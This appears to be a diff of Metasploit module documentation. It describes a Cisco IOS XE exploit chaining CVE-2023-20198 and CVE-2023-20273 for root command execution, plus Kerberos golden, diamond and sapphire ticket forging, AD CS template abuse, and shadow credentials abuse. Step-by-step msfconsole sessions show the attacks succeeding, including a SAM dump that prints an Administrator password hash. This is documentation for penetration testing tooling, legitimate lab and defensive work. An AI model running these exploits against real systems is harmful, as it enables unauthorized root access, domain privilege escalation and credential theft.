This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
|
||||
devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.
|
||||
|
||||
This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,
|
||||
CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read
|
||||
back via the webserver. Finally the output file is deleted and the admin user is removed.
|
||||
|
||||
The vulnerable IOS XE versions are:
|
||||
|
||||
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
|
||||
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
|
||||
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
|
||||
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
|
||||
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
|
||||
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
|
||||
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
|
||||
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
|
||||
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
|
||||
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
|
||||
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
|
||||
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
|
||||
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
|
||||
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
|
||||
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
|
||||
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
|
||||
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
|
||||
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
|
||||
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
|
||||
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
Or
|
||||
|
||||
* Setup a virtualized environment.
|
||||
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
|
||||
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
|
||||
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
|
||||
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
|
||||
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
|
||||
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
|
||||
* Create a new CSR1000v instance as a QEMU device.
|
||||
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
|
||||
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
|
||||
be accessible to a remote attacker.
|
||||
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
|
||||
the device:
|
||||
```
|
||||
Router>enable
|
||||
Router#config
|
||||
Router(config)#ip http server
|
||||
router(config)#ip http secure-server
|
||||
router(config)#ip http authentication local
|
||||
router(config)#username admin privilege 15 secret qwerty
|
||||
router(config)#exit
|
||||
Router#copy running-config startup-config
|
||||
```
|
||||
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set CMD "id"`
|
||||
5. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### CMD
|
||||
A Linux OS command to execute on the target device, e.g. `id`
|
||||
|
||||
### CISCO_ADMIN_USERNAME
|
||||
The username of an admin account. If not set, CVE-2023-20198 is leveraged to first create a new admin account and then
|
||||
the new account is then removed after the module completes.
|
||||
|
||||
### CISCO_ADMIN_PASSWORD
|
||||
The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.
|
||||
|
||||
### REMOVE_OUTPUT_TIMEOUT
|
||||
The maximum timeout (in seconds) to wait when trying to removing the commands output file. The output file
|
||||
can be locked preventing deleting upon the first attempt, so the module will try again if needed.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CISCO_ADMIN_PASSWORD no The password of an admin account. If not set, CVE-2023-20198 is leveraged to c
|
||||
reate a new admin password.
|
||||
CISCO_ADMIN_USERNAME no The username of an admin account. If not set, CVE-2023-20198 is leveraged to c
|
||||
reate a new admin account.
|
||||
CMD id yes The OS command to execute.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands
|
||||
output file.
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
|
||||
rhosts => 10.5.135.193
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
|
||||
[*] Running module against 10.5.135.193
|
||||
|
||||
[*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw'
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
|
||||
[*] Removing output file '/var/www/fNrmuBOf'
|
||||
[*] Removing user 'rfojGrqA'
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) >
|
||||
```
|
||||
File diff suppressed because one or more lines are too long
@@ -1,6 +1,6 @@
|
||||
## Kerberos Ticket Forging (Golden/Silver tickets)
|
||||
|
||||
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden or silver ticket.
|
||||
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden, silver, diamond or sapphire ticket.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
@@ -12,6 +12,8 @@ There are two kind of actions the module can run:
|
||||
|
||||
1. **FORGE_SILVER** - Forge a Silver ticket - forging a service ticket. [Default]
|
||||
2. **FORGE_GOLDEN** - Forge a Golden ticket - forging a ticket granting ticket.
|
||||
3. **FORGE_DIAMOND** - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user.
|
||||
4. **FORGE_SAPPHIRE** - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick.
|
||||
|
||||
## Pre-Verification steps
|
||||
|
||||
@@ -199,6 +201,39 @@ export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_k
|
||||
python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
|
||||
```
|
||||
|
||||
### Forging Diamond ticket
|
||||
|
||||
A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by:
|
||||
|
||||
- Performing an AS-REQ request to retrieve a TGT for any user
|
||||
- Using the krbtgt hash to decrypt the real ticket
|
||||
- Setting properties of the forged PAC to mirror those in the valid TGT
|
||||
- Encrypting the forged ticket with the krbtgt hash
|
||||
|
||||
The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain.
|
||||
The `DOMAIN_SID` property is not required, as this is retrieved from the valid TGT.
|
||||
|
||||
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
|
||||
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
|
||||
|
||||
### Forging Sapphire ticket
|
||||
|
||||
A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However,
|
||||
instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably
|
||||
high-privilege) user:
|
||||
|
||||
- Authenticating to the KDC
|
||||
- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user's PAC would look like, but the ticket is unusable in high-privilege contexts)
|
||||
- Decrypt this information
|
||||
- Setting properties of the forged PAC to mirror those in the valid TGT
|
||||
- Encrypting the forged ticket with the krbtgt hash
|
||||
|
||||
The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain.
|
||||
The `DOMAIN_SID` and `DOMAIN_RID` properties are not required, as this is retrieved from the valid TGT.
|
||||
|
||||
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
|
||||
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
|
||||
|
||||
### Common Mistakes
|
||||
|
||||
**Invalid hostname**
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
## RBCD Exploitation
|
||||
## AD CS Certificate Template Exploitation
|
||||
|
||||
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
|
||||
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
|
||||
the CREATE or UPDATE actions.
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
|
||||
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
|
||||
file to be specified to define the attributes. Template data files are provided to create a template that is
|
||||
vulnerable to ESC1, ESC2, and ESC3.
|
||||
|
||||
This module is capable of exploiting ESC4.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
|
||||
necessary permissions to perform the specified action on the target object (the certificate specified in
|
||||
|
||||
@@ -160,7 +160,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
|
||||
```
|
||||
|
||||
Now use the RBCD module to read the the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local
|
||||
|
||||
@@ -0,0 +1,264 @@
|
||||
## Shadow Credentials Exploitation
|
||||
|
||||
If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation.
|
||||
This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have
|
||||
the ability to write their own value (whereas user accounts do not).
|
||||
|
||||
The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target.
|
||||
When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file
|
||||
can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services
|
||||
are enabled within the domain.
|
||||
|
||||
## Lab setup
|
||||
|
||||
Set up a domain with AD CS configured.
|
||||
|
||||
For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`).
|
||||
Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below).
|
||||
|
||||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
|
||||
|
||||
```powershell
|
||||
# Create a basic user account
|
||||
net user /add sandy Password1!
|
||||
|
||||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
|
||||
net user sandy /expires:never
|
||||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
|
||||
```
|
||||
|
||||
Grant Write privileges for sandy to the target account, i.e. `victim`:
|
||||
|
||||
```powershell
|
||||
# Remember to change victim to the name of your target user
|
||||
$TargetUser = Get-ADUser 'victim'
|
||||
$User = Get-ADUser 'sandy'
|
||||
|
||||
# Add GenericWrite access to the user against the target computer
|
||||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
|
||||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
|
||||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
|
||||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
|
||||
$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)"
|
||||
$TargetUserAcl.AddAccessRule($GenericWriteAce)
|
||||
Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)"
|
||||
```
|
||||
|
||||
Finally Verify the Write privileges for the sandy account:
|
||||
|
||||
```powershell
|
||||
PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim'
|
||||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
|
||||
|
||||
ActiveDirectoryRights : GenericWrite
|
||||
InheritanceType : All
|
||||
ObjectType : 00000000-0000-0000-0000-000000000000
|
||||
InheritedObjectType : 00000000-0000-0000-0000-000000000000
|
||||
ObjectFlags : None
|
||||
AccessControlType : Allow
|
||||
IdentityReference : MSFLAB\sandy
|
||||
IsInherited : False
|
||||
InheritanceFlags : ContainerInherit
|
||||
PropagationFlags : None
|
||||
```
|
||||
|
||||
## Module usage
|
||||
1. `use auxiliary/admin/ldap/shadow_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller
|
||||
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
4. Set the `TARGET_USER` to the victim account
|
||||
5. Use the `ADD` action to add a credential entry to the victim account
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Actions
|
||||
|
||||
### FLUSH
|
||||
Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just
|
||||
the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users.
|
||||
|
||||
### LIST
|
||||
Read the credential entries and print the Device (Certificate) IDs of currently configured entries
|
||||
|
||||
### REMOVE
|
||||
Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID
|
||||
instead of deleting the entire property.
|
||||
|
||||
### ADD
|
||||
Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGET_USER
|
||||
The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION
|
||||
(read, write, etc.). The authenticated user must have the appropriate access to this object.
|
||||
|
||||
### DEVICE_ID
|
||||
The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Window Server 2022 Domain Controller, Targeting user account
|
||||
|
||||
In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/shadow_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
TARGET_USER yes The target to write to
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
When ACTION is REMOVE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DEVICE_ID no The specific certificate ID to operate on
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
LIST Read all credentials associated with the account
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
|
||||
username => sandy
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
|
||||
password => Password1!
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
|
||||
target_user => victim
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module.
|
||||
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim
|
||||
username => victim
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate:
|
||||
[*] 20.92.148.129:88 - Getting TGT for victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:88 - Received a valid TGT-Response
|
||||
[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response
|
||||
[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response
|
||||
[*] 20.92.148.129:445 - Service RemoteRegistry is already running
|
||||
[*] 20.92.148.129:445 - Retrieving target system bootKey
|
||||
[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919
|
||||
[*] 20.92.148.129:445 - Saving remote SAM database
|
||||
[*] 20.92.148.129:445 - Dumping SAM hashes
|
||||
[*] 20.92.148.129:445 - Password hints:
|
||||
No users with password hints on this system
|
||||
[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89:::
|
||||
```
|
||||
|
||||
### Window Server 2022 Domain Controller, Computer account targeting itself
|
||||
|
||||
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Note, however, that attempting to add a second credential will fail under these circumstances:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).
|
||||
[-] Failed to update the msDS-KeyCredentialLink attribute.
|
||||
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value.
|
||||
It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication
|
||||
for any legitimate user relying on the existing value.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
|
||||
action => flush
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -32,21 +32,21 @@ Add an admin user to the vCenter Server.
|
||||
If you already have the LDAP base DN, you may set it in this option.
|
||||
`dc=vsphere,dc=local` will be used if not set.
|
||||
|
||||
### BIND_DN
|
||||
### USERNAME
|
||||
|
||||
If you already have a password to authenticate to the LDAP server (see
|
||||
BIND_PW), this option let you setup the bind username in DN format (e.g
|
||||
USERNAME), this option let you setup the bind username in DN format (e.g
|
||||
`cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`).
|
||||
|
||||
### BIND_PW
|
||||
### PASSWORD
|
||||
|
||||
The password to authenticate to the LDAP server, if you have it.
|
||||
|
||||
### USERNAME
|
||||
### NEW_USERNAME
|
||||
|
||||
Set this to the username for the new admin user.
|
||||
|
||||
### PASSWORD
|
||||
### NEW_PASSWORD
|
||||
|
||||
Set this to the password for the new admin user.
|
||||
|
||||
@@ -60,14 +60,17 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
PASSWORD no Password of admin user to add
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no Username of admin user to add
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -79,10 +82,10 @@ Auxiliary action:
|
||||
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set username msfadmin
|
||||
username => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfadmin
|
||||
password => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin
|
||||
new_username => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin
|
||||
new_password => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
|
||||
[*] Running module against [redacted]
|
||||
not verifying SSL hostname of LDAPS server '[redacted]:636'
|
||||
@@ -140,15 +143,15 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it
|
||||
BIND_DN cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
|
||||
